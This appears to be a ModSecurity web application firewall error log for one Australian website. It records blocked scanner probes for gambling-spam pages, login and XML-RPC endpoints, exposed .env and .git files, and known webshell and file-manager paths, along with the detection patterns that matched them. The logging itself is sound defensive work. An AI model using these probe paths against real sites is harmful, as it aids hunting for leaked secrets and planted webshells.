[Mon Apr 20 22:43:09.099408 2026] [:error] [pid 11351:tid 11407] [client 145.239.71.147:44196] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeY7fQN8Z1-vktaI_tMxxQAAAFQ"]
[Mon Apr 20 22:43:12.129037 2026] [:error] [pid 11441:tid 11465] [client 145.239.71.147:44210] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeY7gMixByFUvmh319C1BwAAANY"]
[Mon Apr 20 22:43:15.898839 2026] [:error] [pid 11350:tid 11382] [client 145.239.71.147:44214] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeY7g_4EoMBgOJuJnT3d7gAAABc"]
[Mon Apr 20 22:43:18.578823 2026] [:error] [pid 11351:tid 11409] [client 145.239.71.147:59164] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeY7hgN8Z1-vktaI_tMyDgAAAFY"]
[Mon Apr 20 22:43:22.283461 2026] [:error] [pid 11494:tid 11498] [client 145.239.71.147:59170] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeY7isgko5iFiE8YoyT_GQAAAYI"]
[Mon Apr 20 22:43:24.831795 2026] [:error] [pid 11351:tid 11401] [client 145.239.71.147:59186] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeY7jAN8Z1-vktaI_tMyJwAAAE4"]
[Mon Apr 20 22:43:27.723198 2026] [:error] [pid 11351:tid 11391] [client 145.239.71.147:49260] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeY7jwN8Z1-vktaI_tMyMgAAAEQ"]
[Mon Apr 20 22:43:30.719729 2026] [:error] [pid 11351:tid 11403] [client 145.239.71.147:49268] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeY7kgN8Z1-vktaI_tMyPwAAAFA"]
[Mon Apr 20 22:43:33.141953 2026] [:error] [pid 11494:tid 11512] [client 145.239.71.147:49272] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeY7lcgko5iFiE8YoyT_JAAAAZA"]
[Mon Apr 20 22:43:36.097444 2026] [:error] [pid 11350:tid 11361] [client 145.239.71.147:49278] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeY7mP4EoMBgOJuJnT3eGwAAAAI"]
[Mon Apr 20 22:43:38.799267 2026] [:error] [pid 11494:tid 11517] [client 145.239.71.147:54022] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeY7msgko5iFiE8YoyT_JwAAAZU"]
[Mon Apr 20 22:44:07.243736 2026] [:error] [pid 11441:tid 11450] [client 145.239.71.147:54038] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aeY7t8ixByFUvmh319C1WAAAAMc"]
[Mon Apr 20 22:44:11.786007 2026] [:error] [pid 11350:tid 11377] [client 145.239.71.147:45600] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aeY7u_4EoMBgOJuJnT3eYAAAABI"]
[Mon Apr 20 22:44:15.527662 2026] [:error] [pid 11494:tid 11505] [client 145.239.71.147:45614] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aeY7v8gko5iFiE8YoyT_TwAAAYk"]
[Mon Apr 20 22:44:19.285701 2026] [:error] [pid 11352:tid 11431] [client 145.239.71.147:53152] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aeY7w2l10mhMSfJ7ir_lDQAAAJE"]
[Mon Apr 20 22:44:23.075074 2026] [:error] [pid 42014:tid 42028] [client 145.239.71.147:53160] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aeY7x8ek-00-ZI0f1NqPHAAAAQw"]
[Mon Apr 20 22:44:26.047017 2026] [:error] [pid 11352:tid 11436] [client 145.239.71.147:53162] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeY7yml10mhMSfJ7ir_lFQAAAJY"]
[Mon Apr 20 22:44:29.519050 2026] [:error] [pid 11351:tid 11390] [client 145.239.71.147:38868] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeY7zQN8Z1-vktaI_tMykQAAAEM"]
[Mon Apr 20 22:44:32.758033 2026] [:error] [pid 42014:tid 42022] [client 145.239.71.147:38872] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeY70Mek-00-ZI0f1NqPIAAAAQY"]
[Mon Apr 20 22:44:35.570630 2026] [:error] [pid 11494:tid 11503] [client 145.239.71.147:38884] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeY708gko5iFiE8YoyT_gwAAAYc"]
[Mon Apr 20 22:44:39.483399 2026] [:error] [pid 11351:tid 11404] [client 145.239.71.147:54444] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeY71wN8Z1-vktaI_tMysAAAAFE"]
[Mon Apr 20 22:44:42.803680 2026] [:error] [pid 11350:tid 11380] [client 145.239.71.147:54450] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeY72v4EoMBgOJuJnT3egQAAABU"]
[Mon Apr 20 22:44:46.019601 2026] [:error] [pid 11351:tid 11392] [client 145.239.71.147:54466] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeY73gN8Z1-vktaI_tMyvQAAAEU"]
[Mon Apr 20 22:44:50.316141 2026] [:error] [pid 11351:tid 11387] [client 145.239.71.147:45516] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeY74gN8Z1-vktaI_tMyyAAAAEA"]
[Mon Apr 20 22:44:53.454056 2026] [:error] [pid 11352:tid 11430] [client 145.239.71.147:45518] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeY75Wl10mhMSfJ7ir_lOAAAAJA"]
[Mon Apr 20 22:44:56.608950 2026] [:error] [pid 11350:tid 11371] [client 145.239.71.147:45526] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeY76P4EoMBgOJuJnT3emwAAAAw"]
[Mon Apr 20 22:44:59.610342 2026] [:error] [pid 11494:tid 11517] [client 145.239.71.147:35664] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeY768gko5iFiE8YoyT_qgAAAZU"]
[Mon Apr 20 22:45:02.283717 2026] [:error] [pid 11494:tid 11504] [client 145.239.71.147:35666] [client 145.239.71.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeY77sgko5iFiE8YoyT_rQAAAYg"]
[Mon Apr 20 23:09:16.431284 2026] [:error] [pid 11351:tid 11393] [client 43.133.187.11:33924] [client 43.133.187.11] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeZBnAN8Z1-vktaI_tM_ywAAAEY"]
[Tue Apr 21 03:02:29.622094 2026] [:error] [pid 11351:tid 11398] [client 176.223.122.174:37716] [client 176.223.122.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 176.223.122.174, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeZ4RQN8Z1-vktaI_tPUSgAAAEs"]
[Tue Apr 21 03:31:57.591085 2026] [autoindex:error] [pid 5017:tid 5028] [client 212.47.77.99:52973] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Apr 21 03:40:33.210341 2026] [:error] [pid 35415:tid 35432] [client 46.97.171.98:35273] [client 46.97.171.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.97.171.98, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeaBMUiqDinI4_22zzjRQQAAAMU"]
[Tue Apr 21 04:00:20.296725 2026] [:error] [pid 35322:tid 35358] [client 185.194.178.22:40219] [client 185.194.178.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeaF1KPoAfV40BTfVKxobQAAAIE"]
[Tue Apr 21 05:10:29.619399 2026] [:error] [pid 4823:tid 4868] [client 43.156.232.190:58614] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeaWRfc8mke3PfHqsxF8YgAAAY8"]
[Tue Apr 21 06:22:40.610807 2026] [:error] [pid 5377:tid 5409] [client 170.106.37.134:48346] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeanMLBKychFlrHBdvsXQQAAAdc"]
[Tue Apr 21 06:47:22.855460 2026] [:error] [pid 5377:tid 5395] [client 192.96.159.129:64059] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aeas-rBKychFlrHBdvseFQAAAck"]
[Tue Apr 21 09:18:47.310876 2026] [:error] [pid 35322:tid 35370] [client 101.42.46.71:57366] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aebQd6PoAfV40BTfVKyKXgAAAI0"]
[Tue Apr 21 13:13:01.133715 2026] [:error] [pid 35320:tid 35335] [client 43.159.138.217:37510] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aecHXYJW6fdXWO6agMHjQAAAAAU"]
[Tue Apr 21 13:57:59.898873 2026] [:error] [pid 4822:tid 4836] [client 104.204.221.23:51518] [client 104.204.221.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aecR5yAteFQFwS_23JlWvwAAAUo"]
[Tue Apr 21 13:57:59.926988 2026] [:error] [pid 35415:tid 35451] [client 104.204.221.23:51506] [client 104.204.221.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aecR50iqDinI4_22zzg17QAAANg"]
[Tue Apr 21 15:30:38.726148 2026] [:error] [pid 4822:tid 4845] [client 45.86.200.221:61973] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aecnniAteFQFwS_23Jm0RAAAAVM"]
[Tue Apr 21 15:30:39.537517 2026] [:error] [pid 4822:tid 4828] [client 45.86.200.221:25097] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aecnnyAteFQFwS_23Jm0TQAAAUI"]
[Tue Apr 21 15:30:41.436517 2026] [:error] [pid 4822:tid 4828] [client 45.86.200.248:54423] [client 45.86.200.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aecnoSAteFQFwS_23Jm0ZwAAAUI"]
[Tue Apr 21 15:30:43.883417 2026] [:error] [pid 35321:tid 35398] [client 185.82.72.179:64241] [client 185.82.72.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aecnozeHLhVUuu8cVXyQOQAAAE4"]
[Tue Apr 21 15:31:21.312732 2026] [:error] [pid 4777:tid 4789] [client 45.86.200.225:44819] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/execute.php"] [unique_id "aecnyaxXur6bykKyLZR9kAAAAQE"]
[Tue Apr 21 15:31:32.953934 2026] [:error] [pid 53731:tid 53742] [client 45.86.200.231:53485] [client 45.86.200.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aecn1F2I9THUR-bRVGzQWwAAAgc"]
[Tue Apr 21 15:32:29.486966 2026] [:error] [pid 54080:tid 54097] [client 182.42.105.144:37428] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aecoDYzEbQHHxtmWbaZHIAAAAs8"]
[Tue Apr 21 15:39:03.703345 2026] [:error] [pid 53832:tid 53837] [client 185.82.72.104:32365] [client 185.82.72.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_footer/tmpl/"] [unique_id "aecpl9zkuxsE_OhM9UIbIgAAAkI"]
[Tue Apr 21 15:56:17.598459 2026] [:error] [pid 53832:tid 53855] [client 91.65.123.43:42437] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aectodzkuxsE_OhM9UIs3AAAAlQ"]
[Tue Apr 21 15:56:20.341474 2026] [:error] [pid 53832:tid 53840] [client 91.65.123.43:12131] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aectpNzkuxsE_OhM9UIs5AAAAkU"]
[Tue Apr 21 15:56:22.790592 2026] [:error] [pid 54080:tid 54084] [client 91.65.123.43:18814] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aectpozEbQHHxtmWbaZjrwAAAsI"]
